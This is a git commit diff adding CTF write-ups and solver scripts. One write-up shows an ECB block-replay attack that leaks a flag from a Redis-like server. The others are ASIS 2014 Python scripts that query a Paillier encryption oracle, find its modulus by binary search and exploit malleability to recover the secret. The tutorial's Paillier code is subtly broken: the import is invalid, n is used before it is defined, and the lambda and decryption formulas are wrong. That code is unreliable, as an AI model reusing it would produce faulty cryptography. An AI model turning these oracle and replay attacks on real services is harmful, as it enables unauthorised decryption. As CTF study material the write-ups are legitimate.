mirror of
https://github.com/autistic-symposium/sec-pentesting-toolkit.git
synced 2025-12-10 05:30:54 -05:00
Add old writeups
This commit is contained in:
parent
06365916d8
commit
1b774c9add
89 changed files with 4052 additions and 688 deletions
213
CTFs_and_WarGames/CTFs_Writeups/9447/README.md
Normal file
213
CTFs_and_WarGames/CTFs_Writeups/9447/README.md
Normal file
|
|
@ -0,0 +1,213 @@
|
|||
# 9447's CTF 2014
|
||||
|
||||
## On Redis & AES Encryption
|
||||
|
||||
### The Client File
|
||||
|
||||
The first file was a script **client.py**, where, by using Python's [socket](https://docs.python.org/2/library/socket.html) library, showed how a connection to the server could be made:
|
||||
|
||||
```py
|
||||
import os, socket, struct, sys
|
||||
from Crypto.Cipher import AES
|
||||
|
||||
class EncryptedStream(object):
|
||||
key = 'this is not the flag nor the key'[:16]
|
||||
def __init__(self, host, port):
|
||||
self.sock = socket.socket()
|
||||
self.sock.connect((host, port))
|
||||
def send(self, msg):
|
||||
while len(msg) % 16:
|
||||
msg += '\0'
|
||||
iv = os.urandom(16)
|
||||
aes = AES.new(self.key, AES.MODE_ECB, iv)
|
||||
enc = aes.encrypt(msg)
|
||||
self.sock.send(struct.pack('<I', len(enc)))
|
||||
self.sock.send(enc)
|
||||
def recv(self, nbytes):
|
||||
return self.sock.recv(nbytes)
|
||||
|
||||
client = '''\
|
||||
HELLO
|
||||
SHOW VERSION
|
||||
SET example This tiny script is basically a RedisStore...
|
||||
GET example
|
||||
SHOW KEYS
|
||||
SET brucefact#1 Bruce Schneier can break elliptic curve cryptography by bending it into a circle
|
||||
SET brucefact#2 Bruce Schneier always cooks his eggs scrambled. When he wants hardboiled eggs, he unscrambles them
|
||||
SET brucefact#3 Bruce Schneier could solve this by inverting md5 hash of the flag
|
||||
ENCRYPTION HEX
|
||||
MD5 flag
|
||||
'''
|
||||
|
||||
stream = EncryptedStream(sys.argv[1], int(sys.argv[2]))
|
||||
stream.send(client)
|
||||
while 1:
|
||||
data = stream.recv(1000)
|
||||
if not data: break
|
||||
sys.stdout.write(data)
|
||||
```
|
||||
|
||||
This client script makes [AES](http://en.wikipedia.org/wiki/Advanced_Encryption_Standard) encrypted packets for a given host and port (the arguments), with the class **EncryptedStream**. It then sends the packets and prints out any received stream.
|
||||
|
||||
The snippet also shows an example of a client packet, with some request options (which we will see the response later in the network dump).
|
||||
|
||||
|
||||
### The Server File
|
||||
|
||||
The second file was the **server.py** script, which is a [Redis](http://redis.io/) like a database (hence, the *nosql* title). Unlike SQL databases, Redis *maps keys to types of values*. In this challenge, the idea was to recover an entry that had the key **flag** returning the value of the flag.
|
||||
|
||||
In the script below, besides creating this database, functions such as: **AES decrypting** (encryption), **MD5** (hashing), and **hex** (encoding) are implemented using Python's library:
|
||||
|
||||
```py
|
||||
import hashlib, os, signal, struct, sys
|
||||
from Crypto.Cipher import AES
|
||||
|
||||
key = 'this is not the flag nor the key'[:16]
|
||||
db = { }
|
||||
|
||||
def md5(data):
|
||||
return hashlib.md5(data).digest()
|
||||
|
||||
def decrypt(data):
|
||||
iv = os.urandom(16)
|
||||
aes = AES.new(key, AES.MODE_ECB, iv)
|
||||
data = aes.decrypt(data)
|
||||
return data.rstrip('\0')
|
||||
|
||||
def reply_plain(message):
|
||||
sys.stdout.write(message + '\n')
|
||||
|
||||
def reply_hex(message):
|
||||
# This is totally encrypted, right?
|
||||
sys.stdout.write(message.encode('hex') + '\n')
|
||||
|
||||
def main():
|
||||
global db
|
||||
reply = reply_plain
|
||||
|
||||
datalen = struct.unpack('<I', sys.stdin.read(4))[0]
|
||||
data = ''
|
||||
while len(data) != datalen:
|
||||
s = sys.stdin.read(1)
|
||||
if not s:
|
||||
sys.exit(1)
|
||||
data += s
|
||||
data = decrypt(data)
|
||||
|
||||
commands = data.split('\n')
|
||||
|
||||
for cmd in commands:
|
||||
if not cmd:
|
||||
continue
|
||||
if ' ' in cmd:
|
||||
cmd, args = cmd.split(' ', 1)
|
||||
|
||||
if cmd == 'HELLO':
|
||||
reply('WELCOME')
|
||||
elif cmd == 'SHOW':
|
||||
if args == 'VERSION':
|
||||
reply('NoRedisSQL v1.0')
|
||||
elif args == 'KEYS':
|
||||
reply(repr(db.keys()))
|
||||
elif args == 'ME THE MONEY':
|
||||
reply("Jerry, doesn't it make you feel good just to say that!")
|
||||
else:
|
||||
reply('u w0t m8')
|
||||
elif cmd == 'SET':
|
||||
key, value = args.split(' ', 1)
|
||||
db[key] = value
|
||||
reply('OK')
|
||||
elif cmd == 'GET':
|
||||
reply(args + ': ' + db.get(args, ''))
|
||||
elif cmd == 'SNIPPET':
|
||||
reply(db[args][:10] + '...')
|
||||
elif cmd == 'MD5':
|
||||
reply(md5(db.get(args, '')))
|
||||
elif cmd == 'ENCRYPTION':
|
||||
if args == 'HEX':
|
||||
reply = reply_hex
|
||||
reply('OK')
|
||||
elif args == 'OFF':
|
||||
reply = reply_plain
|
||||
reply('OK')
|
||||
else:
|
||||
reply('u w0t m8')
|
||||
else:
|
||||
reply('Unknown command %r' % (cmd))
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
signal.alarm(10)
|
||||
signal.signal(signal.SIGALRM, lambda a,b: sys.exit(0))
|
||||
main()
|
||||
```
|
||||
|
||||
This script pretty much gives away all the requests that you can issue to inspect the database.
|
||||
|
||||
In addition, a crucial detail is to understand how the client encrypts the commands using the [electronic codebook (ECB)](http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_.28ECB.29) block cipher type. In this type of operation the message is divided into blocks that are encrypted separately ([PyCryptos's AES.MODE_ECB](https://www.dlitz.net/software/pycrypto/api/2.6/)).
|
||||
|
||||
|
||||
|
||||
### The PCAP File
|
||||
|
||||
The last file was a **pcap** dump. When opening it with [Wireshark](http://bt3gl.github.io/wiresharking-for-fun-or-profit.html), I verified it was really short, and the content was simply a [TCP handshake](http://www.inetdaemon.com/tutorials/internet/tcp/3-way_handshake.shtml). Right-clicking some packet and selecting *Follow TCP Stream* returned the dump of the connection suggested by the **client.py** script:
|
||||
|
||||

|
||||
|
||||
However, we see that the database has already an entry for flag:
|
||||
|
||||
```
|
||||
['flag', 'example']
|
||||
```
|
||||
|
||||
The response **4f4b** is **OK** in ASCII, meaning that the switch **ENCRYPTION HEX** was on (it's good to keep in mind that the "encryption" is actually just an encoding in hex, *i.e*, completely reversible).
|
||||
|
||||
Finally, our MD5 for the flag was printed as **b7133e9fe8b1abb64b72805d2d97495f**.
|
||||
|
||||
As it was expected, searching for this hash in the usual channels (for example [here](http://hash-killer.com/), [here](http://www.md5this.com/), or [here](http://www.hashkiller.co.uk/)) was not successful: *brute force it is not the way to go*.
|
||||
|
||||
|
||||
### Solving the Challenge
|
||||
|
||||
It's pretty clear from our **server.py** script that we could craft a direct request to the server to get our flag before it is hashed to MD5. For example, if the request *GET flag*,
|
||||
|
||||
```py
|
||||
elif cmd == 'GET':
|
||||
reply(args + ': ' + db.get(args, ''))
|
||||
```
|
||||
|
||||
is exactly like *MD5 flag*, without the hashing:
|
||||
|
||||
```py
|
||||
elif cmd == 'MD5':
|
||||
reply(md5(db.get(args, '')))
|
||||
```
|
||||
|
||||
However, we do not have the AES key used by the server, only an example of communication given by the PCAP file. How do we get to send a **GET flag** message?
|
||||
|
||||
The first thing that comes to our minds is to use the network dump to replay the message, re-shaping it somehow to have a *GET flag*. Remember that the blocks have a size of 16, and we see two blocks that are particularly interesting:
|
||||
|
||||
```
|
||||
ION HEX
|
||||
MD5 flag
|
||||
```
|
||||
|
||||
and
|
||||
|
||||
```
|
||||
edisStore...
|
||||
GET
|
||||
```
|
||||
|
||||
Now we check how the oracle responds to several types of responses:
|
||||
|
||||
```
|
||||
$ python client.py 54.148.249.150 4479
|
||||
```
|
||||
We are able to learn that if we send a **command without arguments** or an **invalid command**, the argument variables (*args*) is not overwritten: it gets the **same args value from the previous valid request**! That's wonderful!
|
||||
|
||||
Now the solution is clear:
|
||||
|
||||
1. We send the invalid command and a valid command with the argument that we will keep: ```ION HEX\nMD5 flag```.
|
||||
2. We send the invalid command and command without an argument: ```edisStore...\nGET``` (this will get the last valid argument (*flag*), returning us the flag!).
|
||||
|
||||
BIN
CTFs_and_WarGames/CTFs_Writeups/9447/nosql/capture.pcap
Executable file
BIN
CTFs_and_WarGames/CTFs_Writeups/9447/nosql/capture.pcap
Executable file
Binary file not shown.
50
CTFs_and_WarGames/CTFs_Writeups/9447/nosql/client.py
Executable file
50
CTFs_and_WarGames/CTFs_Writeups/9447/nosql/client.py
Executable file
|
|
@ -0,0 +1,50 @@
|
|||
#!/usr/bin/python2
|
||||
|
||||
import os, socket, struct, sys
|
||||
from Crypto.Cipher import AES
|
||||
|
||||
|
||||
class EncryptedStream(object):
|
||||
key = 'this is not the flag nor the key'[:16]
|
||||
|
||||
def __init__(self, host, port):
|
||||
self.sock = socket.socket()
|
||||
self.sock.connect((host, port))
|
||||
|
||||
def send(self, msg):
|
||||
while len(msg) % 16:
|
||||
msg += '\0'
|
||||
|
||||
iv = os.urandom(16)
|
||||
aes = AES.new(self.key, AES.MODE_ECB, iv)
|
||||
enc = aes.encrypt(msg)
|
||||
|
||||
self.sock.send(struct.pack('<I', len(enc)))
|
||||
self.sock.send(enc)
|
||||
|
||||
def recv(self, nbytes):
|
||||
return self.sock.recv(nbytes)
|
||||
|
||||
|
||||
|
||||
|
||||
client = '''\
|
||||
HELLO
|
||||
SHOW VERSION
|
||||
SET example This tiny script is basically a RedisStore...
|
||||
GET example
|
||||
SHOW KEYS
|
||||
SET brucefact#1 Bruce Schneier can break elliptic curve cryptography by bending it into a circle
|
||||
SET brucefact#2 Bruce Schneier always cooks his eggs scrambled. When he wants hardboiled eggs, he unscrambles them
|
||||
SET brucefact#3 Bruce Schneier could solve this by inverting md5 hash of the flag
|
||||
ENCRYPTION HEX
|
||||
MD5 flag
|
||||
'''
|
||||
|
||||
stream = EncryptedStream(sys.argv[1], int(sys.argv[2]))
|
||||
stream.send(client)
|
||||
|
||||
while 1:
|
||||
data = stream.recv(1000)
|
||||
if not data: break
|
||||
sys.stdout.write(data)
|
||||
90
CTFs_and_WarGames/CTFs_Writeups/9447/nosql/server.py
Executable file
90
CTFs_and_WarGames/CTFs_Writeups/9447/nosql/server.py
Executable file
|
|
@ -0,0 +1,90 @@
|
|||
#!/usr/bin/python2
|
||||
|
||||
import hashlib, os, signal, struct, sys
|
||||
from Crypto.Cipher import AES
|
||||
|
||||
|
||||
key = 'this is not the flag nor the key'[:16]
|
||||
db = { }
|
||||
|
||||
|
||||
def md5(data):
|
||||
return hashlib.md5(data).digest()
|
||||
|
||||
|
||||
def decrypt(data):
|
||||
iv = os.urandom(16)
|
||||
aes = AES.new(key, AES.MODE_ECB, iv)
|
||||
data = aes.decrypt(data)
|
||||
return data.rstrip('\0')
|
||||
|
||||
|
||||
def reply_plain(message):
|
||||
sys.stdout.write(message + '\n')
|
||||
|
||||
|
||||
def reply_hex(message):
|
||||
# This is totally encrypted, right?
|
||||
sys.stdout.write(message.encode('hex') + '\n')
|
||||
|
||||
|
||||
def main():
|
||||
global db
|
||||
reply = reply_plain
|
||||
|
||||
datalen = struct.unpack('<I', sys.stdin.read(4))[0]
|
||||
data = ''
|
||||
while len(data) != datalen:
|
||||
s = sys.stdin.read(1)
|
||||
if not s:
|
||||
sys.exit(1)
|
||||
data += s
|
||||
data = decrypt(data)
|
||||
|
||||
|
||||
commands = data.split('\n')
|
||||
|
||||
for cmd in commands:
|
||||
if not cmd:
|
||||
continue
|
||||
if ' ' in cmd:
|
||||
cmd, args = cmd.split(' ', 1)
|
||||
|
||||
if cmd == 'HELLO':
|
||||
reply('WELCOME')
|
||||
elif cmd == 'SHOW':
|
||||
if args == 'VERSION':
|
||||
reply('NoRedisSQL v1.0')
|
||||
elif args == 'KEYS':
|
||||
reply(repr(db.keys()))
|
||||
elif args == 'ME THE MONEY':
|
||||
reply("Jerry, doesn't it make you feel good just to say that!")
|
||||
else:
|
||||
reply('u w0t m8')
|
||||
elif cmd == 'SET':
|
||||
key, value = args.split(' ', 1)
|
||||
db[key] = value
|
||||
reply('OK')
|
||||
elif cmd == 'GET':
|
||||
reply(args + ': ' + db.get(args, ''))
|
||||
elif cmd == 'SNIPPET':
|
||||
reply(db[args][:10] + '...')
|
||||
elif cmd == 'MD5':
|
||||
reply(md5(db.get(args, '')))
|
||||
elif cmd == 'ENCRYPTION':
|
||||
if args == 'HEX':
|
||||
reply = reply_hex
|
||||
reply('OK')
|
||||
elif args == 'OFF':
|
||||
reply = reply_plain
|
||||
reply('OK')
|
||||
else:
|
||||
reply('u w0t m8')
|
||||
else:
|
||||
reply('Unknown command %r' % (cmd))
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
signal.alarm(10)
|
||||
signal.signal(signal.SIGALRM, lambda a,b: sys.exit(0))
|
||||
main()
|
||||
|
|
@ -0,0 +1,93 @@
|
|||
#!/usr/bin/python
|
||||
|
||||
__author__ = "bt3gl"
|
||||
__email__ = "bt3gl@gmail.com"
|
||||
|
||||
import decimal
|
||||
import socket
|
||||
from constants import mod
|
||||
|
||||
def print_hex(secret):
|
||||
|
||||
# cutting L in the end
|
||||
a = hex(secret)[:-1]
|
||||
|
||||
# cutting the \x symbol
|
||||
b = a[2:].decode('hex')
|
||||
|
||||
return b
|
||||
|
||||
|
||||
|
||||
def convolution(e1, e2, m2, mod):
|
||||
|
||||
return (e1 * e2 )%(mod*mod)
|
||||
|
||||
|
||||
|
||||
def nc_paillier(mod):
|
||||
|
||||
# create socket
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((HOST, PORT))
|
||||
|
||||
|
||||
# answer the initial question
|
||||
s.recv(4096)
|
||||
s.send(b'paillier')
|
||||
s.recv(4096)
|
||||
m = s.recv(4096)
|
||||
m = (m.split(": ")[1]).split('\n')[0]
|
||||
mdec = decimal.Decimal(m)
|
||||
|
||||
|
||||
# encrypt 1
|
||||
e = '1'
|
||||
m2 = decimal.Decimal(e)
|
||||
s.send(b'E')
|
||||
s.recv(4096)
|
||||
s.send(e)
|
||||
e2 = s.recv(4096)
|
||||
e2 = e2.split(": ")[1]
|
||||
e2dec = decimal.Decimal(e2)
|
||||
|
||||
|
||||
|
||||
# convolute the enc messages
|
||||
answer = convolution(mdec, e2dec, m2, mod)
|
||||
|
||||
|
||||
# get the description from the answer
|
||||
s.send(b'D')
|
||||
s.recv(4096)
|
||||
s.recv(4096)
|
||||
s.send(str(answer))
|
||||
md = s.recv(4096)
|
||||
md = md.split(": ")[1].strip()
|
||||
|
||||
|
||||
|
||||
# get the flag, remember to add d(e(1)) = 1
|
||||
secret = long(md) + 1
|
||||
flag = print_hex(secret)
|
||||
print("The flag is: ")
|
||||
print flag
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
# really long numbers
|
||||
decimal.getcontext().prec = 1240
|
||||
|
||||
PORT = 12445
|
||||
HOST = 'asis-ctf.ir'
|
||||
|
||||
nc_paillier(mod)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,63 @@
|
|||
#!/usr/bin/python
|
||||
|
||||
__author__ = "bt3gl"
|
||||
__email__ = "bt3gl@gmail.com"
|
||||
|
||||
|
||||
import decimal
|
||||
import socket
|
||||
|
||||
|
||||
|
||||
|
||||
def bs_paillier(lo, hi, s):
|
||||
if hi < lo: return None
|
||||
mid = (hi + lo) / 2
|
||||
print("We are at: ")
|
||||
print(mid)
|
||||
|
||||
s.send(b'E')
|
||||
s.recv(4096)
|
||||
s.recv(4096)
|
||||
s.send(str(mid))
|
||||
ans = s.recv(4096)
|
||||
print ans
|
||||
|
||||
if 'None' in ans:
|
||||
print "Found it!"
|
||||
return mid + 1
|
||||
elif 'Your message is' in ans:
|
||||
return bs_paillier(lo, mid-1, s)
|
||||
else:
|
||||
return bs_paillier(mid+1, hi, s)
|
||||
|
||||
|
||||
|
||||
|
||||
def get_mod_paillier():
|
||||
|
||||
# create socket, answer first question
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((HOST, PORT))
|
||||
s.recv(4096)
|
||||
s.send(b'paillier')
|
||||
s.recv(4096)
|
||||
|
||||
# start binary search
|
||||
hi, lo = 11**307, 10**307
|
||||
mod = bs_paillier(lo, hi, s)
|
||||
print mod
|
||||
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
PORT = 12445
|
||||
HOST = 'asis-ctf.ir'
|
||||
|
||||
get_mod_paillier()
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,4 @@
|
|||
import decimal
|
||||
|
||||
#mod = decimal.Decimal('28414252178421170251910042147689368446511995764529924640302525001150082023847807850723344018358163485930344707394699713532305322202216635189806057491940857063203918400016948903778913790645080815377317956510275921513980400357522675326929234601338948461475089468134681894547897715946279673410647104276477333937')
|
||||
mod = decimal.Decimal('17671943390317527594740575037779239788090749028363849573873871285525785364877468659238291287413782918855995881353189626069716161186805808731291508724925847487655603905895106750055611619881911787280882269077856999823769344599404478814635216943095238063240285592085964648122007040660676934950342692770738186633')
|
||||
|
|
@ -0,0 +1,85 @@
|
|||
#!/usr/bin/python
|
||||
|
||||
__author__ = "bt3gl"
|
||||
__email__ = "bt3gl@gmail.com"
|
||||
|
||||
|
||||
import decimal
|
||||
import socket
|
||||
|
||||
|
||||
def nc_paillier():
|
||||
|
||||
# create socket
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((HOST, PORT))
|
||||
|
||||
|
||||
# answer the initial question
|
||||
print s.recv(4096)
|
||||
s.send(b'paillier')
|
||||
|
||||
|
||||
# get the secret
|
||||
print s.recv(4096)
|
||||
m = s.recv(4096)
|
||||
|
||||
# cleaning it
|
||||
m = (m.split(": ")[1]).split('\n')[0]
|
||||
|
||||
# it's good to print (because it changes periodically)
|
||||
print("The secret is: ")
|
||||
print(m)
|
||||
|
||||
# change from str to long decimal
|
||||
mdec = decimal.Decimal(m)
|
||||
|
||||
|
||||
'''
|
||||
From here you can do whatever you want.
|
||||
'''
|
||||
# If you want to encrypt messages
|
||||
|
||||
msg_to_e = '1'
|
||||
|
||||
s.send(b'E')
|
||||
print s.recv(4096)
|
||||
s.send(msg_to_e)
|
||||
me = s.recv(4096)
|
||||
me = me.split(": ")[1]
|
||||
|
||||
print("Secret for %s is:" %(msg_to_e))
|
||||
print(me)
|
||||
|
||||
medec = decimal.Decimal(me)
|
||||
|
||||
|
||||
# If you want to decrypt messages
|
||||
|
||||
msg_to_d = me
|
||||
|
||||
s.send(b'D')
|
||||
s.recv(4096)
|
||||
s.recv(4096)
|
||||
s.send(msg_to_d)
|
||||
md = s.recv(4096)
|
||||
md = md.split(": ")[1].strip()
|
||||
|
||||
print("Decryption is: ")
|
||||
print(md)
|
||||
|
||||
mddec = decimal.Decimal(md)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
# really long numbers
|
||||
decimal.getcontext().prec = 1240
|
||||
|
||||
PORT = 12445
|
||||
HOST = 'asis-ctf.ir'
|
||||
|
||||
nc_paillier()
|
||||
|
||||
|
|
@ -0,0 +1,395 @@
|
|||
# On Paillier, Binary Search, and the ASIS CTF 2014
|
||||
|
||||
|
||||
## The Cryptosystem
|
||||
|
||||
The challenge was started by netcating to ```nc asis-ctf.ir 12445```:
|
||||
|
||||
> Here we use a well-known cryptosystem, which introduced in late 90s as a part of PhD Thesis. This cryptosystem is a probabilistic asymmetric algorithm, so computer nerds are familiar with the basics. The power of this cryptosystem is based on the fact that no efficient general method for computing discrete logarithms on conventional computers is known. In real world it could be used in a situation where there is a need for anonymity and a mechanism to validate, like election. What's the name of this cryptosystem?
|
||||
|
||||
Google promptly gave the answer and this returned back an [oracle]:
|
||||
|
||||
[netcating]:http://netcat.sourceforge.net/
|
||||
|
||||
|
||||
```sh
|
||||
paillier
|
||||
The secret is: 642807145082286247713777999837639377481387351058282123170326710069313488038832353876780566208105600079151229044887906676902907027064003780445277944626862081731861220016415929268942783162708816500946772808327134830134079094377390069335173892453677535279678315885291394526580800235039893009001625481049390361761336337647597773237774304907266052473708273977012064983893047728185071148350402161227727584760493541436392061714945686426966193498593237383322044894184438689354989491800002299012669235551727100161976426628760839759603818593410342738847167887121724862806632881028892880165650108111619269651597119870237519410
|
||||
Tell us your choice:
|
||||
[E]ncrypt: [D]ecrypt:
|
||||
```
|
||||
|
||||
Of course, simply decrypting the secret wouldn't work.
|
||||
|
||||
|
||||
|
||||
### Pai-what?
|
||||
|
||||
|
||||
|
||||
The [Paillier cryptosystem] was named after *Pascal Paillier*, its inventor, in 1999. It is a **probabilistic** **asymmetric** algorithm used for applications such as [electronic voting].
|
||||
|
||||
Being [probabilistic] means that a message is encrypted with some **randomness**, so it can generate several different ciphers. All the ciphers will be decrypted back to the same message (but not the other way around).
|
||||
|
||||
Being [asymmetric] means that it is based on **public-key cryptography**, *i.e.*, two keys are generated, a public and a private. The public key is used to encrypt the message and the private key is used to decipher a ciphered message.
|
||||
|
||||
|
||||
|
||||
[asymmetric]: http://en.wikipedia.org/wiki/Asymmetric_algorithm
|
||||
[electronic voting]:http://en.wikipedia.org/wiki/Pascal_Paillier#Applications
|
||||
[probabilistic]: http://en.wikipedia.org/wiki/Probabilistic_encryption
|
||||
|
||||
|
||||
### All right, now tell me something interesting...
|
||||
|
||||
What matter for us is the fact that this system has a [homomorphic] propriety. Well, from Latin, *homo* means *the same* (like *homogeneous*) and *morphic* means *form* (like *metamorphosis*). So this propriety says that the cipher conserves the form of the message, even if we play with it. This propriety in a cryptographic algorithm is also called [malleability].
|
||||
|
||||
In other words, if we know only the public key (which is the [modulo]m **n**, a multiplication of two large prime numbers), we can manipulate the cipher and still get the original content of the plain message.
|
||||
|
||||
For example, the multiplication of a **cipher 1** by a **cipher 2** is decrypted as a sum of the **message 1** to **message 2**:
|
||||
|
||||
[modulo]: http://en.wikipedia.org/wiki/Modulo_operation
|
||||
|
||||

|
||||
|
||||
And, look at this: we can also exponentiate the cipher by some constant **k**!
|
||||
|
||||
|
||||

|
||||
|
||||
Pretty cool, huh? I think so... :)
|
||||
|
||||
|
||||
[malleability]: http://en.wikipedia.org/wiki/Malleability_(cryptography)
|
||||
[homomorphic]: http://en.wikipedia.org/wiki/Homomorphic_encryption
|
||||
|
||||
|
||||
### Simple implementation of a Paillier system
|
||||
|
||||
Let's highlight the implementation of this system in Python. All we need is a large prime number generator, which we can borrow from [pyCrypto].
|
||||
|
||||
|
||||
[pyCrypto]: https://www.dlitz.net/software/pycrypto/
|
||||
|
||||
#### Generating the keys
|
||||
|
||||
The public key has five elements:
|
||||
|
||||
- **n**, which is the multiplication of two large prime numbers (**p** and **q**);
|
||||
|
||||
- **g**, which is **n+1**;
|
||||
|
||||
- **lambda**, which is the [least common multiple] of **(p-1)** and **(q-1)**; and
|
||||
|
||||
|
||||
- **mu**, which is the [modular multiplicative inverse], to ensure that **n** divides **g**. We use Pythons [gmpy] library for this task.
|
||||
|
||||
[gmpy]: https://code.google.com/p/gmpy/
|
||||
[least common multiple]: http://en.wikipedia.org/wiki/Least_common_multiple
|
||||
[modular multiplicative inverse]: http://en.wikipedia.org/wiki/Modular_multiplicative_inverse
|
||||
|
||||
|
||||
|
||||
|
||||
```python
|
||||
import Crypto.Util.number cry
|
||||
import gmpy
|
||||
|
||||
def generate_keys(bits):
|
||||
p = cry.getPrime(bits//2)
|
||||
q = cry.getPrime(bits//2)
|
||||
g = n+1
|
||||
n = p*q
|
||||
l = (p-1)*(q-1)
|
||||
mu = gmpy.invert(((p-1)*(q-1)), n)
|
||||
return n, g, l, mu
|
||||
```
|
||||
|
||||
#### Encrypting...
|
||||
|
||||
The encryption is straightforward. All we need is a random number:
|
||||
|
||||
```python
|
||||
import random
|
||||
rand = random.randint(n//2, n*2)
|
||||
```
|
||||
|
||||
So we write:
|
||||
|
||||
```python
|
||||
def encrypt(n, g, msg, rand):
|
||||
return (pow(g, msg, n**2) *
|
||||
pow(rand, n, n**2)) % (n**2)
|
||||
```
|
||||
|
||||
#### Decrypting...
|
||||
|
||||
The decryption is the other way around:
|
||||
|
||||
```python
|
||||
def decrypt(n, l, mu, cipher):
|
||||
return (((pow(cipher, l, n**2) - 1) // n**2) *mu) % n
|
||||
```
|
||||
|
||||
An interesting fact is that we can actually break the cipher if we have the public key and the random number:
|
||||
|
||||
```python
|
||||
def decrypt_breaking(n, m, g, cipher, rand):
|
||||
n_sqr = n * n
|
||||
trash = pow(rand, n, n_sqr)
|
||||
trash = gmpy.invert(trash, n_sqr)
|
||||
norm = (cipher * trash) % n_sqr
|
||||
return ((norm - 1) // n) // ((g-1)// n)
|
||||
```
|
||||
|
||||
|
||||
All right, time to go back to our challenge.
|
||||
|
||||
----
|
||||
|
||||
## Understand Challenge
|
||||
|
||||
|
||||
Performing some recon in the oracle, I noticed the following:
|
||||
|
||||
* Encryption and decryption of any **integer** works...
|
||||
|
||||
```
|
||||
[E]ncrypt: [D]ecrypt: e
|
||||
Tell us your message to encrypt: 1
|
||||
Your secret is: 73109965080485247131710209266123910705889636744106672869822932981580432295328645599823550448181731566435402609978665387224898646975403769881196399448975370668935092605229755765060164052771714510987944591017615792396157094596290728393053648253053017939625091326878542241485082342371560710778399247063411414649475517288243167425022137869055256778307340931947663486971023680806406250041891606619955393621120918102708442427400288119511466304393700124201965017764148482926998000012235997591413309617388902575733355188418714479900913342627281937156809563150498906460101268562252351167461233533852277300215020108137992142
|
||||
Tell us your choice:
|
||||
------------------------
|
||||
[E]ncrypt: [D]ecrypt: d
|
||||
Tell us your secret to decrypt: 73109965080485247131710209266123910705889636744106672869822932981580432295328645599823550448181731566435402609978665387224898646975403769881196399448975370668935092605229755765060164052771714510987944591017615792396157094596290728393053648253053017939625091326878542241485082342371560710778399247063411414649475517288243167425022137869055256778307340931947663486971023680806406250041891606619955393621120918102708442427400288119511466304393700124201965017764148482926998000012235997591413309617388902575733355188418714479900913342627281937156809563150498906460101268562252351167461233533852277300215020108137992142
|
||||
Your original message is: 1
|
||||
```
|
||||
|
||||
* ... but **up to a size**! I tried to input a ridiculous large number and it was rejected. Anything a bit larger than an encrypted message was rejected. This is important! It means that the we might have a [modulo] here. It also means that we cannot just multiply two ciphers and ask the oracle, since the message would be too large.
|
||||
|
||||
* The secret was **changing periodically** (probably each hour). It means that the keys (the module) were changing too. This ruins any plan of **brute forcing** it.
|
||||
|
||||
|
||||
* Remember I said that the Paillier encryption is [probabilistic], *i.e.*, different ciphers can map back to the same value? This was clear from the oracle: if you asked repetitively to encrypt some number, say *1*, it would return different messages each time. Interesting enough, however, if you restarted the system (leaving the session and netcating again), the *same order* of different ciphers would appear again. Completely deterministic.
|
||||
|
||||
|
||||
* Everything that is **not an integer** number was rejected by the oracle (no shortcuts here).
|
||||
|
||||
|
||||
|
||||
### Automatizing Responses
|
||||
|
||||
Whenever we have a netcat challenge, I like to have a clean script to get and send messages (copying from terminal is lame).
|
||||
|
||||
In addition, all the numbers in this challenge were really long (the encrypted messages had 614 chars), so we need to perform operations in a consistent and efficient way.
|
||||
|
||||
To work with long numbers in Python, I use the [Decimal] library. For instance, considering that we could want to add two messages, I set the context to 1240 bytes:
|
||||
|
||||
```
|
||||
decimal.getcontext().prec = 1240
|
||||
```
|
||||
|
||||
For now on I will be using modifications of this snippet to interact with the oracle:
|
||||
|
||||
```python
|
||||
import decimal
|
||||
import socket
|
||||
|
||||
def nc_paillier():
|
||||
# create socket
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((HOST, PORT))
|
||||
|
||||
# answer the initial question
|
||||
print s.recv(4096)
|
||||
s.send(b'paillier')
|
||||
|
||||
# get the secret
|
||||
print s.recv(4096)
|
||||
m = s.recv(4096)
|
||||
|
||||
# cleaning it
|
||||
m = (m.split(": ")[1]).split('\n')[0]
|
||||
|
||||
# it's good to print (because it changes periodically)
|
||||
print("The secret is: ")
|
||||
print(m)
|
||||
|
||||
# change from str to long decimal
|
||||
mdec = decimal.Decimal(m)
|
||||
|
||||
'''
|
||||
From here you can do whatever you want.
|
||||
'''
|
||||
# If you want to encrypt messages
|
||||
msg_to_e = '1'
|
||||
|
||||
s.send(b'E')
|
||||
print s.recv(4096)
|
||||
s.send(msg_to_e)
|
||||
me = s.recv(4096)
|
||||
me = me.split(": ")[1]
|
||||
|
||||
print("Secret for %s is:" %(msg_to_e))
|
||||
print(me)
|
||||
|
||||
medec = decimal.Decimal(me)
|
||||
|
||||
# If you want to decrypt messages
|
||||
msg_to_d = me
|
||||
|
||||
s.send(b'D')
|
||||
s.recv(4096)
|
||||
s.recv(4096)
|
||||
s.send(msg_to_d)
|
||||
md = s.recv(4096)
|
||||
md = md.split(": ")[1].strip()
|
||||
|
||||
print("Decryption is: ")
|
||||
print(md)
|
||||
|
||||
mddec = decimal.Decimal(md)
|
||||
|
||||
if __name__ == "__main__":
|
||||
# really long numbers
|
||||
decimal.getcontext().prec = 1240
|
||||
|
||||
PORT = 12445
|
||||
HOST = 'asis-ctf.ir'
|
||||
|
||||
nc_paillier()
|
||||
```
|
||||
|
||||
|
||||
[Decimal]: https://docs.python.org/2/library/decimal.html
|
||||
|
||||
----
|
||||
## Solving the Challenge
|
||||
|
||||
|
||||
|
||||
|
||||
### Finding out the Modulo
|
||||
|
||||
At this point we know that we cannot do anything in the Paillier system without knowing the modulo, **n**. Of course, this value was not given. However, from the recon we have learned that we can find it from the oracle.
|
||||
|
||||
The exactly value when the oracle cycles back to the beginning is our **n**. This value should not return any message since **n%n = 0**. So, we are looking for this **None** result.
|
||||
|
||||
